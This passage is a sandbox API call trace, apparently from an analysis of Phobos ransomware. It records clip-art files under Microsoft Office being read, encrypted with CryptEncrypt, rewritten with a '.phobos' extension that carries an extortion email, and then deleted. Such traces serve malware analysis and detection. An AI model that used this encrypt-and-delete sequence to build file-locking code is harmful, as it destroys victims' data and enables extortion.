CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.705] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=13102) returned 1 [0059.705] CloseHandle (hObject=0x308) returned 1 [0059.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0059.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.705] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.705] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.706] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0059.706] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.706] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x332e, lpOverlapped=0x0) returned 1 [0059.719] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3330, dwBufLen=0x3330 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3330) returned 1 [0059.719] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x3330, lpOverlapped=0x0) returned 1 [0059.720] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ceb0) returned 1 [0059.720] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.720] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.720] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0059.720] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.720] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.720] CloseHandle (hObject=0x308) returned 1 [0059.720] CloseHandle (hObject=0x318) returned 1 [0059.721] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0059.722] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.723] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=27050) returned 1 [0059.723] CloseHandle (hObject=0x318) returned 1 [0059.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0059.723] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.723] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.723] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.724] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0059.724] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.724] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x69aa, lpOverlapped=0x0) returned 1 [0059.725] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x69b0, dwBufLen=0x69b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x69b0) returned 1 [0059.725] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x69b0, lpOverlapped=0x0) returned 1 [0059.726] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cb30) returned 1 [0059.726] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.726] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.726] CryptDestroyKey (hKey=0x10cb30) returned 1 [0059.726] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.726] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.726] CloseHandle (hObject=0x318) returned 1 [0059.726] CloseHandle (hObject=0x308) returned 1 [0059.728] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0059.729] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.729] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=6996) returned 1 [0059.729] CloseHandle (hObject=0x308) returned 1 [0059.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0059.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.729] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.729] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.730] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cbf0) returned 1 [0059.730] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.730] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1b54, lpOverlapped=0x0) returned 1 [0059.733] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1b60, dwBufLen=0x1b60 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1b60) returned 1 [0059.734] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1b60, lpOverlapped=0x0) returned 1 [0059.734] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc30) returned 1 [0059.734] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.734] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.734] CryptDestroyKey (hKey=0x10cc30) returned 1 [0059.735] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.735] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0059.735] CloseHandle (hObject=0x308) returned 1 [0059.735] CloseHandle (hObject=0x318) returned 1 [0059.735] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0059.736] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.737] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=9590) returned 1 [0059.737] CloseHandle (hObject=0x318) returned 1 [0059.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0059.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.737] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.737] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.738] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0059.738] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.738] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x2576, lpOverlapped=0x0) returned 1 [0060.006] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2580, dwBufLen=0x2580 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2580) returned 1 [0060.006] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2580, lpOverlapped=0x0) returned 1 [0060.065] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0060.065] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.065] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.065] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0060.065] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.065] CryptDestroyKey (hKey=0x10cf70) returned 1 [0060.066] CloseHandle (hObject=0x318) returned 1 [0060.066] CloseHandle (hObject=0x308) returned 1 [0060.066] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0060.068] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.068] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3768) returned 1 [0060.068] CloseHandle (hObject=0x308) returned 1 [0060.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0060.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.068] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.069] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.069] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ca30) returned 1 [0060.069] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.069] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xeb8, lpOverlapped=0x0) returned 1 [0060.071] CryptEncrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xec0, dwBufLen=0xec0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xec0) returned 1 [0060.071] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xec0, lpOverlapped=0x0) returned 1 [0060.072] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0f0) returned 1 [0060.072] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0060.072] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0060.072] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0060.072] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0060.072] CryptDestroyKey (hKey=0x10ca30) returned 1 [0060.072] CloseHandle (hObject=0x308) returned 1 [0060.072] CloseHandle (hObject=0x318) returned 1 [0060.073] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0060.075] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0060.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.076] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3350) returned 1 [0060.076] CloseHandle (hObject=0x318) returned 1 [0060.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0060.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0060.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0060.076] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.076] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0060.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0060.077] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf30) returned 1 [0060.077] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2e5fc08, 